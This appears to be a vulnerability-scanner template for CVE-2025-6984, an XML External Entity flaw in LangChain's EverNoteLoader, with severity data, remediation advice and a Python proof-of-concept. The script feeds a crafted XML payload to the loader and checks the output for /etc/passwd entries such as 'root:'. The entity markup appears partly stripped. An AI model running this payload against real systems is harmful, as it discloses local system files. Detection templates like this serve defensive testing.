id: CVE-2025-6984 info: name: langchain-ai langchain - XML External Entity Injection author: nukunga severity: high description: | langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload. impact: | Attackers can disclose sensitive local files, potentially exposing critical system information. remediation: | Update to the latest version that disables external entity references in XML parsing. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-6984 - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a - https://github.com/langchain-ai/langchain-community/commit/e842452 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2025-6984 epss-score: 0.01531 epss-percentile: 0.72125 cwe-id: CWE-200 metadata: verified: true tags: cve,cve2025,langchain,xxe,intrusive,file-write self-contained: true code: - engine: - py - python3 source: | import tempfile import os from langchain_community.document_loaders import EverNoteLoader if __name__ == "__main__": xxe_payload = ''' ]> &example; ''' # Write payload to temporary file with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: f.write(xxe_payload) temp_file = f.name try: loader = EverNoteLoader(temp_file) print(loader.load()) finally: os.unlink(temp_file) matchers: - type: word part: response words: - "root:" - "bin:" - "daemon:" condition: or # digest: 4b0a00483046022100f78c71a988e5098f45ef382a2a7d0daed78877833d685822881ca0900a47107b022100a72f03a9ceba94530adc7fa5e1d24973cba961baa4b44733a67ebdedb2eaa089:922c64590222798bb761d5b6d8e72950